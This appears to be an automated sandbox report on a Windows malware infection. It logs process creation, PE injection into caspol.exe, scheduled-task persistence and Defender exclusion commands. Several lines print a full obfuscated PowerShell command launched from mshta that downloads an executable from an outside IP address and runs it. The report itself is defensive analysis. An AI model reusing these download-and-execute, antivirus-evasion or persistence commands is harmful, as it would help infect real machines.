Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4785

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.dll			Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3512	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3672	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3712	Thread sleep count: 6121 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3712	Thread sleep count: 3640 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe TID: 1960	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe TID: 3908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4012	Thread sleep count: 2363 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4012	Thread sleep count: 2093 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2672	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3044	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3988	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4088	Thread sleep count: 1481 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4088	Thread sleep count: 2143 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2168	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3032	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4064	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\caspol.exe TID: 1448	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\taskeng.exe TID: 804	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe TID: 3128	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe TID: 2164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3516	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3568	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3124	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3548	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3676	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 3512	Thread sleep time: -720000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1996	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3068	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3816	Thread sleep count: 3113 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3816	Thread sleep count: 1320 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3936	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 380	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\caspol.exe TID: 3640	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\caspol.exe TID: 2140	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2160	Thread sleep count: 1322 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2160	Thread sleep count: 1726 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3604	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3784	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3828	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3820	Thread sleep time: -120000s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\caspol.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\caspol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_000007FE89273122 rdtsc

5_2_000007FE89273122

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe

Code function: 28_2_0040317B mov eax, dword ptr fs:[00000030h]

28_2_0040317B

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe

Code function: 28_2_00402B7C GetProcessHeap,HeapAlloc,

28_2_00402B7C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\caspol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory written: C:\Users\user\AppData\Roaming\caspol.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory written: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory written: C:\Users\user\AppData\Roaming\caspol.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37A5.tmp" "c:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpDCB9.tmp"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB0AA.tmp" "c:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmp1F44.tmp"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jg56dwngvuf3icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10wvbficagicagicagicagicagicagicagicagicagicagicaglu1lbwjlukrfrkloavrpt04gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbu9oiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagwlbudfzzumhbacxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbnewpwculruxdeyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicb1alfrcfnyb0lxesx1aw50icagicagicagicagicagicagicagicagicagicagicagtsxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbhwxlwdmx5a3blktsnicagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicaizfhhtsigicagicagicagicagicagicagicagicagicagicagicatbmfnrvnwyunlicagicagicagicagicagicagicagicagicagicagicagv1bmvyagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicakbnp1y0zvqxc6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4yndmumtm2lzu1l2nhc3bvbc5leguilcikzu52okfquerbvefcy2fzcg9slmv4zsismcwwkttzvgfyvc1tbgvlucgzkttpzxggicagicagicagicagicagicagicagicagicagicagicaijevovjpbufbeqvrbxgnhc3bvbc5legui'+[char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jg56dwngvuf3icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10wvbficagicagicagicagicagicagicagicagicagicagicaglu1lbwjlukrfrkloavrpt04gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbu9oiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagwlbudfzzumhbacxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbnewpwculruxdeyixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicb1alfrcfnyb0lxesx1aw50icagicagicagicagicagicagicagicagicagicagicagtsxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbhwxlwdmx5a3blktsnicagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicaizfhhtsigicagicagicagicagicagicagicagicagicagicagicatbmfnrvnwyunlicagicagicagicagicagicagicagicagicagicagicagv1bmvyagicagicagicagicagicagicagic